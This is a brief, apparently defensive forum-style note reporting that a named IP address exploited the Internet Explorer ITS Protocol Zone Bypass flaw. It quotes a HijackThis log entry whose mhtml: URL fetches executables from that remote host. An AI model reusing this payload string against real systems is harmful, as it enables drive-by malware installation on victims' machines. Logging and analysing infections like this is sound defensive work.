66.117.37.5 seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {11111111-1111-1111-1111-111111111111} - mhtml:file://C:NXSFT.MHT!http://66.117.37.5:80/iex/ofile.exe?url=http://66.117.37.5:80/dexPL391.exe
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